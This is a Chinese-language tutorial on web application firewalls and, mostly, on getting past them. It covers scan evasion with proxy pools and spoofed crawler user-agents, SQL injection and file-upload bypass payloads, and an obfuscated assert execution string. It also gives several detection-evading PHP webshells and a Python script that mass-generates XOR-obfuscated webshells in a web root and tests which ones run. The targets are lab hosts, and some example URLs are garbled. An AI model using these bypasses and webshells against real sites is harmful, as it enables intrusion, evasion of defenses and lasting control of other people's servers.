目录
WAF的介绍
1、什么是WAF
Web Application Firewall(web应用防火墙),一种公认的说法是“web应用防火墙通过执行一系列针对HTTP/HTTPS的安全策 略来专门为web应用提供保护的一款产品。
WAF思路:用户在对网站进行访问的时候,在入口方向进行了检测,当WAF检测到入口方向的流量异常直接进行拦截。
2、WAF的分类
软件型WAF
以软件的形式安装在服务器上面,可以接触到服务器上的文件,因此就可以检测服务器上是否有webshell,是否有文件被创建等。
通俗理解:个人或是小公司区开设相应的web应用站点,需要得到防护时大部分会使用的一种方案,就是软件waf。将软件安装到服务器进行保护。
硬件型WAF
以硬件形式部署在链路中,支持多种部署方式。当串联到链路上时可以拦截恶意流量,在旁路监听模式时只记录攻击但是不进行拦截。
通俗理解:企业或是单位去购买一些安全公司的安全设备(大部分为硬件),然后再机房进行实施
云 WAF
一般以反向代理的形式工作,通过配置后,使对网站的请求数据优先经过WAF主机,在WAF主机对数据进行过滤后再传给服务器
通俗理解:当在阿里云或者其他地方够买服务器时,阿里云平台会在内部部署云waf,对服务器进行保护
网站内置的WAF
就是来自网站内部的过滤,直接出现在网站代码中,比如说对输入的参数强制类转换啊,对输入的参数进行敏感词检测啊什么的。
3、WAF的判断
通过以下链接看图识别即可
WAF的绕过
WAF绕过主要集中在信息收集,漏洞发现,漏洞利用,权限控制四个阶段。
1、信息收集
介绍
在信息收集中被分为主动和被动扫描,waf通常会对出口(部分有)和入口进行检测。
主动扫描:利用工具进行扫描,会接触到waf
扫描工具:Sqlmap、Awvs、Goby等
被动扫描:利用黑暗引擎或者其他接口等,不会接触waf
黑暗引擎:Fofa Quake Shodan zoomeye 0.zone等
信息收集常见检测
1、脚本或工具速度流量快
2、脚本或工具的指纹被识别
3、脚本或工具的检测Payload
信息收集绕过waf的常见方法
1、延迟:解决请求过快封IP的情况---当利用工具访问速度过快时,waf检测到将IP封住不让其访问,那么可以利用7kbscan、Awvs或者隧道代理配置访问的速度和时间从而进行绕过。
2、代理池:在确保速度的情况下解决请求过快封IP的拦截----在控制访问速度的情况下配合proxifier或者相同功能的工具(配置代理规则让工具的数据包跑到prox中,并设置隧道代理的地址和接口)与工具进行代理---此时网站拦截的都是不同代理IP,与本机没有任何关系
3、白名单:模拟白名单模拟WAF授权测试,解决速度及测试拦截----部分waf中会设置官方浏览器的白名单,那么可以UA头处模仿浏览器爬虫UA头使其误以为是官方爬虫,从而进行绕过(安全狗有默认设置存在该漏洞)
4、模拟用户:模拟真实用户数据包请求探针,解决WAF指纹识别----利用python脚本编写数据包信息模拟正常用户进行爬虫
信息收集-工具扫描-Awvs&Xray&Goby内置
Awvs-设置速度&加入代理----配置访问速度&设置代理服务器&配置UA头
访问速度配置:
UA头配置:
代理配置:
Xray-主被动扫描&进程转发---prox
主动扫描---很轻松理解不在多说:.\xray_windows_amd64.exe webscan --basic-crawler http://xx/ --html-output tomcat.html
被动扫描---利用工具进行代理扫描:.\xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output app.html
被动扫描举例-Xray设置监听端口进行被动扫描:
xray目录下设置被动扫描并指定ip和端口,启动处于监听状态
当打开app或者某个网页时,burp接受数据,xray进行被动扫描
prox配置:配置文件----代理规则----添加即可
Goby-配置加入Socket代理
2、漏洞发现
漏洞发现的绕过与信息收集类似,简单概括
#Awvs漏扫-Sadedog-白名单-内置
加入白名单扫描,防Safedog拉黑IP
#Awvs漏扫-BT&Aliyun-代理池-内置
加入代理池扫描,防BT或Aliyun拉黑IP
#Xray漏扫-BT&nAliyu-Proxifier-进程
加入代理池扫描,防BT或Aliyun拉黑IP
#Goby漏扫-BT&Aliyun-Socket5-内置
加入代理池扫描,防BT或Aliyun拉黑IP
3、漏洞利用-SQL&文件上传&命令执行
SQL注入
1、关键字替换---利用like代替and或者or进行判断注入点
68.0.100:8081/sqlilabs/Less-2/?id=1192.168.0.100:8081/sqlilabs/Less-2/?id=168.0.100:8081/sqlilabs/Less-2/?id=1 like 1
http://192.168.0.100:8081/sqlilabs/Less-2/?id=1192.168.0.100:8081/sqlilabs/Less-2/?id=1http://192.168.0.100:8081/sqlilabs/Less-2/?id=1 like 12
2、更换提交方式---POST提交&加密
传递数据-------利用burp将数据改为post传参
传递数据-------利用burp将数据改为post传参同时进行加密
3、HPP参数污染--部分中间件只会接受url语句中的最后一个值,但是安全狗会接受所有的值,那么利用该特点进行绕过
举例:id=1/**&id=-1%20union%20select%201,2,3%23*/ -----Waf会误以为id=1后面的内容为注释不会进行拦截,如果中间件只解析最后一个值那么解析内容为id=-1%20union%20select%201,2,3%23*/,可以正常进行注入
文件上传
filename=a.php-------上传文件时去掉双引号,让waf误以为文件是参数名
filename="a.php%00"-----%00干扰
垃圾数据;filename="a.php"--------利用分号写出大量数据,因为waf匹配数据存在封顶,可以利用大量数据进行溢出从而绕过
无限filename;filename="a.php"filename=="a.php"--------重复写多个filename进行绕过
filename="name='uploadfile.php"-------参数模拟,利用数据包的中的某些数据修改为文件名,从而进行干扰
filename="Content-Disposition: form-data.php"------参数模拟,利用数据包的中的某些数据修改为文件名,从而进行干扰
filename=="a.ph
p" -----对文件名利用换行、双等或是三等号进行绕过,让waf误以为是进行比较而不是上传文件
命令执行
举例:txt=$y=str_replace('x','','pxhpxinxfo()');assert($y);
因为过滤了phpinfo(),那么对该命令写入其他字母对waf进行干扰,在利用替代的方法删除多余字母,并利用assert执行。
4、权限控制
脚本后门控制原理
对比工具代码-菜刀&蚁剑&冰蝎&哥斯拉等
代码-脚本后门免杀变异-覆盖&传参
1.php 传参带入
解释:a传递参数ass,$aa就为assert,assert与eval函数相同,最后后门代码被调用,传递数据时对数据进行加密并利用代码解密,为了防治对执行的参数进行过滤
<?php
$a=$_GET['a'];
$aa=$a.'ert';
$aa(base64_decode($_POST['x']));
?>
2.php 变量覆盖
解释:1传递值b,2传递值assert,那么$a为b,$$a=$b=assert,后门脚本生成,传递数据时对数据进行加密并利用代码解密,为了防治对执行的参数进行过滤
<?php
$a=$_GET['1'];
$b=$_GET['2'];
$$a(base64_decode($_POST['x']));
?>
3.php 加密变异-----对文件进行加密,直接访问即可
4.php 异或运算
'!' '^' '@'经过异或运算之后结果为a,与后面形成assert,执行后门。或者是每个字母都进行异或运算最后形成执行函数
<?php $a=('!'^'@').'ssert';$a($_POST[x]);?>
利用下面代码可以获取异或运算的结果
import requests
import time
import threading,queue
def string():
while not q.empty():
filename=q.get()
url = 'http://127.0.0.1:8081/x/' + filename
datas = {
'x': 'phpinfo();'
}
result = requests.post(url, data=datas).content.decode('utf-8')
if 'XIAODI-PC' in result:
print('check->'+filename+'->ok')
else:
print('check->'+filename+'->no')
time.sleep(1)
def shell_test_check():
url='http://127.0.0.1:8081/x/33xd64.php'
datas={
'x':'phpinfo();'
}
result=requests.post(url,data=datas).content.decode('utf-8')
print(result)
if 'XIAODI-PC' in result:
print('ok')
if __name__ == '__main__':
q=queue.Queue()
for i in range(1, 127):
for ii in range(1, 127):
payload = "'" + chr(i) + "'" + '^' + "'" + chr(ii) + "'"
code = "<?php $a=(" + payload + ").'ssert';$a($_POST[x]);?>"
filename = str(i) + 'xd' + str(ii) + '.php'
q.put(filename)
with open('D:/phpstudy/PHPTutorial/WWW/x/' + filename, 'a') as f:
f.write(code)
f.close()
print('Fuzz文件生成成功')
for x in range(20):
t=threading.Thread(target=string)
t.start()